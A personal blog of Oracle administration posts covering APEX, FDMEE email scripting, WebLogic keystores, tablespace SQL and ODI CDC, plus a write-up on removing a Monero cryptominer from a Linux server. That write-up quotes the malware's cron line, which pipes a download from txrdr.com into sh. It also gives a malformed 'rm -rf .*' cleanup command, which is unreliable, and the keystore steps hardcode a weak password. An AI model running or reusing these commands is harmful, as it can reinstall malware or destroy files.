Tuesday, March 7, 2017

APEX 5.0 images not showing in different environment - Solution



Hi guys!

A few days ago, I migrated an APEX 5.0.4 application. In it I have used static files (used .png files to make some banners).
I wanted to test deployment to different environment - the same APEX version, exported the application using Export Utility (preserved app ID), imported in the other environment using Import ... and everything went smooth. Static files were imported also. But when I run the application they are not showing up.

I’ve searched in the net and I’ve found the next link:
https://chefdba.com/2016/03/23/validate-your-ords-installation/

Solutions.
1.      Using the .war file
Navigate to the location where you have the war file you used to install or upgrade the ORDS. You you should execute:
java -jar ords.war validate apex_database

Write user sys and password of your database.

2.      Manual Method.
You can extract the scripts from the war file. Navigate to validate/core from scripts directory and you you should execute as sysdba:
SQL> @ords_manual_validate.sql /u01/ords/log

NOTE: In case than you don’t have ords.war file, too can execute apex.war which located in Apex installation folder. 
you should execute:
java -jar apex.war validate apex_database

Write user sys and password of your database.

The images should now be displayed.

Regards!

Thursday, February 16, 2017

Send E-mail FDMEE + Jython

Customer asked me to send e-mail with atachment to multiples receivers

The code I wrote:

#------------------------------------------------------------------------------
# Oracle Send Mail with Atachment
#-------------------------------------------------------------------------------
import smtplib
import mimetypes
import email
import email.mime.application
import java.lang as lang
import decimal


fdmAPI.logInfo("Custom Script: Inicia envio de Correo HFDM")

strMsg = email.mime.Multipart.MIMEMultipart()
strOutPath = fdmContext['OUTBOXDIR']+"/reports/"
strInMailPath = fdmContext['INBOXDIR']+"/BMB_LOC_EMAIL/"
strEmailInfo = strInMailPath+"RemitDest.txt"
fdmAPI.logInfo("strOutPath: " + strOutPath)
fdmAPI.logInfo("strInMailPath: " + strInMailPath)
fdmAPI.logInfo("strEmailInfo: " + strEmailInfo)
flag="true"


try:
allItems=[]
recipient=[]
allRecipients=[]
filemail = open(strEmailInfo, 'rb')
for row in filemail.readlines():
items = row.split(':')
for item in items:
fdmAPI.logInfo("ITEMS:"+item)
allItems.append(item)
strSender = allItems[1]
fdmAPI.logInfo("strSender: "+strSender)
recipientStr= allItems[3]
fdmAPI.logInfo("recipientStr: "+recipientStr)
recipients = recipientStr.split('|')
for recipient in recipients:
fdmAPI.logInfo("recipient:"+recipient)
allRecipients.append(recipient)

except Exception, e:
print "Error: unable to open mail file: " + str(e)
recipient=[]
recipient=allRecipients
strSubject = "FDMEE Mensaje de Prueba"
strReceivers = recipient if type(recipient) is list else [recipient]
strMsg['Subject'] =  strSubject
strMsg['From'] = strSender
strMsg['To'] = ", ".join(strReceivers)
fdmAPI.logInfo("strMsgTo: " + strMsg['To'])

loadid_s = str(fdmContext['LOADID'])
strFileName = loadid_s + ".pdf"
strRelativeFilePath = strOutPath + strFileName
strTxt = "Se ha generado el reporte <b>"+strFileName+"</b> de Financial Dara Management Enterprise Edition <br> para mas detalle consulte <a href='https://WORKSPACE_URL/workspace/index.jsp'>FDMEE</a><br><img src='http://www.oracle.com/us/assets/oraclelogo.jpg'>"

body = email.mime.Text.MIMEText(strTxt,'html')
strMsg.attach(body)

fp=open(strRelativeFilePath,'rb')
att = email.mime.application.MIMEApplication(fp.read(),_subtype="pdf")
fp.close()

att.add_header('Content-Disposition','attachment',filename=strFileName)
strMsg.attach(att)


try:
smtpServer = smtplib.SMTP('ORACLE_SMTPSERVER:25')
smtpServer.starttls()
smtpServer.sendmail(strSender, strReceivers, strMsg.as_string())
print "Successfully sent email"
smtpServer.quit()

except Exception, e:
print "Error: unable to send email: " + str(e)



Easy no?

Tuesday, January 31, 2017

Lady.B Malware! CryptoMiner

Recently I had a requirement to check the performance of a linux server.

A very strange job was starting over and over again no matter the times I killed it. This job was consuming a high percentage of cpu.

After a several commands for checking the origin of this job. I found the following A CryptoMiner malware infected the system.

The malware specializes in Mining relatively new cryptocurrency Monero (XMR). This is not only a new currency with a little difficulty, but the attackers for some reason chose it.

The malware checks the version of the system - and adds the appropriate executable file to AutoRun.

"stratum+tcp://monero.crypto-pool.fr:3333"

More detail here:

https://steemit.com/steemit/@whitemike313/crypto-miner-has-infected-thousands-of-nas-in-the-world

Well the steps I did to get rid of this malware:

1.- Stop all the communication to their servers.

sudo chkconfig iptables on

sudo iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
sudo iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
sudo iptables -A INPUT -s txrdr.com -j DROP
sudo iptables -A OUTPUT -d txrdr.com -j DROP

sudo service iptables save

sudo service iptables status


txrdr.com (this one, I found it in a cron file)

2.- Delete tmp files

/tmp/rm -rf .*
/tmp/rm -rf

3.- Delete oracle cron file
/var/spool/cron/oracle

Or remove its contents
In my case (*/1 * * * * curl txrdr.com/sitecontent/S6-WEB.jpg|sh;)

4.- Restart as many times as you required in order to see the process is not starting

5.- Check if you need to have cron running, otherwise stop it using /etc/init.d/crond stop.

This process is not going to clean completely the system but is going to block all the communications and avoid the cron job regenerates the source of the malware, thus the job is not going to start if the connection is not established succesfully.

Well done bad guys!!


Friday, October 14, 2016

Create keystores for Weblogic 12C


To create keys issue the following commands:

keytool -genkey -keyalg RSA -alias aliasdemo -keystore alias_identity.jks -dname "CN=CEN-BI-DS-ODI01, OU=alias_demo, O=alias_demo, L=Mexico, ST=Mexico, C=MX" -storepass passW0rd -validity 3600 -keysize 2048 -keypass passW0rd
keytool -selfcert -v -alias alias_demo -keypass passW0rd -keystore alias_demo_identity.jks -storepass passW0rd -storetype jks -validity 3600
keytool -export -v -alias alias_demo -file "alias_demo.gob.mx-rootCA.der" -keystore alias_demo_identity.jks -storepass passW0rd
keytool -import -v -trustcacerts -alias alias_demo -file "alias_demo.gob.mx-rootCA.der" -keystore alias_demo_trust.jks -storepass passW0rd

Steps to deploy them in weblogic server
  • Identity Keystore: "/opt/oracle/keystore/alias_identity.jks"
  • Trust Keystore: "/opt/oracle/keystore/alias_trust.jks"
  • Alias: cenace
  • Store Password: passW0rd
  • Key Password: passW0rd
  • Valid for: 3600 Days (Approx 10 Years)
  • In the WebLogic Server Administration Console, click on "Servers" in the "Domain Structure" tree.
  • Click on the managed server you wish to configure.
  • Click on the "Configuration > Keystores" tab and sub-tab.
  • If you are running on production mode, click the "Lock & Edit" Button.
  • Click the "Change" button next to the "Keystores" setting.
  • Select the "Custom Identity and Custom Trust" option and click the "Save" button.
  • Enter the identity details. For example.

    • Custom Identity Keystore: /home/oracle/keystore/alias_identity.jks
    • Custom Identity Keystore Type: JKS
    • Custom Identity Keystore Passphrase: passW0rd
    • Confirm Custom Identity Keystore Passphrase: passW0rd
  • Enter the trust information. For example.

    • Custom Identity Keystore: /home/oracle/keystore/alias_trust.jks
    • Custom Identity Keystore Type: JKS
    • Custom Identity Keystore Passphrase: passW0rd
    • Confirm Custom Identity Keystore Passphrase: passW0rd
  • Click the "Save" button.
  • Click the "SSL" tab.
  • Enter the identity details. For example.

    • Private Key Alias: aliasdemo
    • Private Key Passphrase: passW0rd
    • Confirm Private Key Passphrase: passW0rd
  • Click the "Save" button.
  • If you are running in production mode, click the "Activate Changes" button.
=)

Tuesday, September 13, 2016

Replace corrupted undo tablespace SOA 10g


In certain cases, Oracle Products doesn't get corrupted, because bad stopping or something, this commands help us to change the undo and common tablespaces that fail commonly


In this case SOA doesn't start up because the undo tbs was currupted.

ALTER SYSTEM SET UNDO_TABLESPACE = UNDOTBS2;

--Resize undo datafile
--ALTER DATABASE DATAFILE '/u01/oradata/soa/undotbs02.dbf' RESIZE 10000M;

--Create undo tablespace
--CREATE UNDO TABLESPACE UNDOTBS2 DATAFILE '/u01/oradata/soa/undotbs02.dbf' SIZE 1000M AUTOEXTEND ON;

--Drop undo tablespace
--drop tablespace UNDOTBS2;

select * from user_tablespaces;

--Drop undo tablespace including contents and datafiles
--DROP TABLESPACE undotbs1 INCLUDING CONTENTS AND DATAFILES;

--Parameters
select * from  V$OPTION;


select
   file_name,
   bytes,
   autoextensible
from
   dba_data_files;

select * from
all_users;

select * from user_tablespaces;


SYSTEM
UNDOTBS1
SYSAUX
TEMP
USERS


ORABPEL


ALTER tablespace ORABPEL

alter tablespace ORABPEL add DATAFILE '/u01/oradata/soa/orabpe2.dbf' SIZE 5980M AUTOEXTEND ON NEXT 30M MAXSIZE UNLIMITED;

alter tablespace ORABPEL add DATAFILE '/u01/oradata/soa/orabpe3.dbf' SIZE 5980M AUTOEXTEND ON NEXT 30M MAXSIZE UNLIMITED;

alter tablespace ORABPEL add DATAFILE '/u01/oradata/soa/orabpe4.dbf' SIZE 5980M AUTOEXTEND ON NEXT 30M MAXSIZE UNLIMITED;

alter tablespace ORABPEL add DATAFILE '/u01/oradata/soa/orabpe5.dbf' SIZE 5980M AUTOEXTEND ON NEXT 30M MAXSIZE UNLIMITED;

alter TABLESPACE SYSAUX add DATAFILE  '/u01/oradata/soa/sysaux02.dbf' SIZE 550M AUTOEXTEND ON NEXT 10M MAXSIZE UNLIMITED;

alter TABLESPACE SYSAUX add DATAFILE  '/u01/oradata/soa/sysaux03.dbf' SIZE 550M AUTOEXTEND ON NEXT 10M MAXSIZE UNLIMITED;

CREATE UNDO TABLESPACE UNDOTBS2 DATAFILE '/u01/oradata/zucprod/undotbs02.dbf' SIZE 30000M AUTOEXTEND ON;

CREATE UNDO TABLESPACE UNDOTBS1 DATAFILE
  '/u01/oradata/zucprod/undotbs01.dbf' SIZE 30000M AUTOEXTEND ON NEXT 5M MAXSIZE UNLIMITED
ONLINE
RETENTION NOGUARANTEE
BLOCKSIZE 8K
FLASHBACK ON;


ALTER SYSTEM SET UNDO_TABLESPACE = UNDOTBS2;

DROP TABLESPACE UNDOTBS2 INCLUDING CONTENTS AND DATAFILES;

UNDOTBS2

Friday, September 9, 2016

ODI 12c Loop PLSQL Procedure



Here's the procedure I commonly use to implement a odi loop in package.!

create or replace function sys.set_initial_data (P_TOKEN varchar2, P_VALUE varchar2, P_ROW_ID number, p_session number) return varchar2
is
PRAGMA AUTONOMOUS_TRANSACTION;

res varchar2(50);

cursor get_datap is
select *  from process_data_odi
where 1=1--status = (select case P_VALUE when 'ROW' THEN  'R' else 'P' end from  dual)
and status = 'P';
--and id_host = nvl(null,id_host);

vget_datap get_datap%rowtype;

cursor get_datap_id is
select *  from process_data_odi
where 1=1--status = (select case P_VALUE when 'ROW' THEN  'R' else 'P' end from  dual)
and id_host = nvl(P_ROW_ID,id_host);
--and status = 'P'

vget_datap_id  get_datap_id%rowtype;


begin

if p_token = 'INIT' then
delete from process_data_odi;
insert into process_data_odi
select p_session, id, 'P', null,IP, puerto from table_info_host;

commit;

return 'OK';
 
elsif p_token = 'GET' then


    open get_datap_id;
    fetch get_datap_id  into vget_datap_id;
    close get_datap_id;


  IF P_VALUE = 'PORT' then
    res := vget_datap_id.PUERTO;
  elsif P_VALUE = 'HOST' then
    res := vget_datap_id.HOST;
  elsif P_VALUE = 'ROW' then


open get_datap;
fetch get_datap into vget_datap;
close get_datap;


    res := vget_datap.ID_host;
 
  update process_data_odi set status = 'R'
  where id_host = vget_datap.ID_host;

  commit;  

  end if;

elsif p_token = 'SET' then

  update process_data_odi set status = 'T'
  where id_host = P_ROW_ID;

  commit;

return 'OK';

end if;

return nvl(RES,'ERR');
end;


SELECT *  FROM process_data_odi;

select set_initial_data('GET','PORT',2,1111) from dual;

select set_initial_data('GET','HOST',2,1111) from dual;

select set_initial_data('GET','ROW',null,1111) from dual;

select set_initial_data('SET',null,1,1111) from dual;

select set_initial_data('INIT',NULL,null,1111) from dual;

commit;

Thursday, August 4, 2016

Configure CDC ODI 12C with Reusable Mappings


1.- Identify the source and target locations
2.- Create your source model, and target model
3- In my case I created the CDC_Test model connected to a Database 11g XE Edition and my target is a Database 12c EE


Goldengate is a oracle product to syncronize legacy systems or databases using the log files, but is quite expensive, in this case we are going to see, how to do a sync between two systems using just ODI 12C,

Using CDC Simple  Mode:

1.- Create a Project and import JKM Oracle Simple



2.- Change de Model of CDC_Test to Simple



3.- Do the Reverse-Engineering for the tables to add to CDC, in this case the table I chose was SRC_CITY.

4.- Once you have the datastore in your data model, Now configure the CDC, right clic over the datastore SRC_CITY and Add to CDC.




5.- Add a subscriber, right clic over datastore and navigate to subscriber, Add subscriber


6.- Add the subscriber SUNOPSIS




7.- Start Journal, select the subscriber, then session is prompted to start, clic ok.
Note:
The steps to undo this are (Unsubscribe, Drop  Journal, Remove from  CDC)

8.- So far, we have configured the basic CDC Simple, let's remember this is intrusive, because it creates triggers over the source tables and may affect the performance, so check carefully.

9- Test




10.- Now let's do this automatically using a package, mapping (ODI Interface in ODI 11G) and reusable mapping

11.- Create a Reusable Mapping, just drag the source table (The one you just added to CDC, see above), and also drag an output signature and do the mapping.

12.- Create a mapping in ODI and drag the reusable mapping created in the last step.

13.- Drag the target table and do the mapping.
14.- Choose the Optimization context to Development
15.- Configure the Journalize Data (select CheckBox)
16.- In the Logical Section change the target to  Incremental Update
17.- In the Physical, select the target TRG_CITY, and in the section Integrated Knowledge Module change to IKM Oracle Incremental Update

Look like this:


18.- Create a package to automatize this.
19.- Drag a OdiWaitForLogData component

OdiWaitForLogData "-CONTEXT=DEVELOPMENT" "-GLOBAL_ROWCOUNT=1" "-LSCHEMA=GG_SOURCE" "-OPTIMIZED_WAIT=AUTO" "-POLLINT=1000" "-SUBSCRIBER_NAME=SUNOPSIS" "-TIMEOUT=0" "-TIMEOUT_WITH_ROWS_OK=YES" "-TABLE_NAME=SRC_CITY"

20.- Drag the interface into the package and make a connection to the OdiWaitForLogData and viceversa

21.- Test the package.

SELECT * FROM SALES_DATA.SRC_city;
SELECT count(*) FROM SALES_DATA.SRC_city;
SELECT * FROM SALES_DATA.SRC_city;
delete from SALES_DATA.SRC_city where city_id = 100;
commit;
insert into SALES_DATA.SRC_city values (100,'Acapulco',20,123456);
commit;